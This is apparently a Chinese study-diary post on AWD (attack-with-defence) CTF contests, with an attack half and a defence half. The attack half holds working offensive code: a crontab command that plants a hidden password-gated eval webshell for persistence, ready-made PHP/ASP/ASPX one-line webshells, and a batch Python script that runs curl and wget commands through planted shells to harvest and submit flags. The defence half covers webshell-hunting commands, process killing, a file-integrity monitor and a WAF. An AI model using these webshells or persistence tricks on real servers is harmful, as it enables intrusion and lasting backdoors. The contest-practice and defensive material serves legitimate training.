AWD学习日记二

比赛攻击思路

搜索存活主机

信息收集

• nmap、Routescan

namp -sn 192.168.0.0/24          #扫描C段主机存活

• Python 脚本
  扫描并写入存活地址

import requests

with open("IP.txt", "w") as file:
    for x in range(2, 255):
        url = "http://192.168.1.{}".format(x)
        try:
            r = requests.post(url)
            print(url)
            file.write(url + "\n")  # 将IP地址写入文件
        except requests.exceptions.RequestException as e:
            print(f"发送请求到 {url} 时发生错误: {e}")

权限维持

预留到后面会被防守人删除，所以为了稳定得分，我们得进行权限维持。

隐藏文件读取

header(php'flag:'.file_get_contents('/flag'));

crontab定时任务
使用定时任务写马，需要一定的权限。
脚本一：

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'7d40f0d6c4baa81950b1759d3712a225\'){@eval(\\\\\\\\\$_POST[ZX]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

密码：ZX
来指定用户运行指定的定时任务
脚本二：

<?php
// 将你的 PHP 代码写入一个独立的脚本，比如 script.php
$scriptContent = '<?php if(md5($_POST["pass"])=="7d40f0d6c4baa81950b1759d3712a225"){@eval($_POST[ZX]);} ?>';
file_put_contents('/var/www/html/script.php', $scriptContent);

// 设置 crontab 定时执行脚本
$crontabContent = '* * * * * /usr/bin/php /var/www/html/script.php';
file_put_contents('/tmp/crontab', $crontabContent);

// 安装新的 crontab
system('crontab /tmp/crontab');

// 删除脚本
unlink('/var/www/html/script.php');
?>

预留后门利用

记录一下蚁剑连接，get型木马

<?php eval($_GET['pass']);

/shell.php?pass=eval($_POST[1]);
连接密码：1

常用一句话木马：

php： 
	<?php @eval($_POST['pass']);?>      
	<?php eval($_GET['pass']);
asp：   
	<%eval request ("pass")%>
aspx：
	<%@ Page Language="Jscript"%>
	<%eval(Request.Item["pass"],"unsafe");%>

批量脚本

 #!/usr/bin/python
#coding=utf-8
import sys
import io
import time
import requests
import urllib3
from http import cookies
import sys,requests,base64,time
from matplotlib.pyplot import flag
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #禁用安全请求警告
#利用一句话木马得到flag

#加载一句话地址的文件
def shell_list(filepath):
    #格式 http://192.168.174.128/shell.php
    #返回列表
    try : 
        with open(filepath,encoding='utf-8') as f:
            data = f.readlines()
            return data
    except : 
        print("File"+filepath+" Not Found!") 
        sys.exit()
    
def getflag(filepath):
    file = 'flag'+str(time.time())[-5:]+'.txt'
    #加载shell地址
    list = shell_list(filepath)
    #访问 执行查看flag命令  linux就是cat
    # get方式
    # getflag_cmd ='echo system("cat /flag");'
    # getflag_cmd ='echo system("wget -q -O - http://192.168.1.146:9898/flag");'                          		# post方式                   
    passwd="dbapp#2020" #木马密码
    payload =  {passwd: 'system("curl http://10.0.1.2?token=XFMDKLVJ");'}
    for url in list:
        #url  = url.strip('\r\n') + "?x=" +getflag_cmd            #get方式
        url  = url.strip('\r\n')                                  #post方式
        try:
            #res = requests.get(url=url,timeout=5)                #get方式
            res = requests.post(url=url,data=payload,timeout=5)   #post方式
        except:
            print(url+"[ - ] request timeout [ - ]")
        if res.content:
            content = str(res.content,'utf-8')
            try : 
            #把得到的flag存到flag文件再批量提交
                with open(file,'a',encoding='utf-8') as f:
                    f.writelines(content+"\n")
            except : 
                 print("写flag.txt文件失败！！")
                 sys.exit()
    print("[+] getflag sucessed! flag文件:" +file)
    return file

#批量提交flag
def sentflag(filepath,url):
    filename = getflag(filepath)#返回存放flag的地址
    #读取存放flag文件
    with open(filename,'r',encoding='utf-8') as f:
        flags = f.readlines()
        for flag in flags:
            flag_p=flag.replace("\n", "")
            data={
                'atn':'1',
                'id':'2',
                'token':'3',
                'flag':flag_p
            }
            cookie={'PHPSESSID':'1',
                    'Samesite':'',
                    'php-console-server':'3',
                    'matchToken_131':'4',
                    'adl':'5'}
            try : 
                res = requests.post(url, data=data, verify=False, cookies=cookie)
                if res.status_code==200 :
                  print("Get flag Success")
            except : 
                 print("[ ------------> ] Send Flag Failed [ <----------- ]")
                 sys.exit()
            
           
#第一个参数需要一个存放shell的地址，格式 http://192.168.174.128/test.php?x=    
#第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx

filepath = './bsm_shell.txt' #自己创建
url = 'https://10.0.0.xx/mx/xx/axx'

def timer(n):
    while True:
        sentflag(filepath,url)
        time.sleep(n)

timer(120)

防御思路

SSH口令更改

passwd username    #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’  #查找配置文件中的密码凭证

后门查杀

通过xshell或其他管理

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

不死马查杀

进行条件竞争或写个脚本直接杀。

进程查杀

ps aux | grep www-data
##
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
##
awk ‘{print $2}’
提取字符串行内容的第2个字段，也就是当前示例的进程号

比如写个马来一直杀死不死马进程：

<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
    
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = 'hi springbird !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

创建一个和马仔一样的文件夹
循环创建

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire

./xx.sh

文件监控

文件监控可以及时查看木马删除，并删除

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

python jiankong.py  /var/www/html

文件监控脚本：
https://github.com/TheKingOfDuck/FileMonitor

WAF

相当于你给自己的网站上防火墙

推荐使用watchbird

使用命令：

php watchbird.php --install /var/www/html

运行waf 之后，在网址加上**?watchbird=ui**，就会进入到waf 配置页面然后设置密码

github上有使用教程

清除反弹shell

查看进程

ps -ef / px -aux

出现www-data权限的/bin/sh一般为nc

然后杀进程

kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`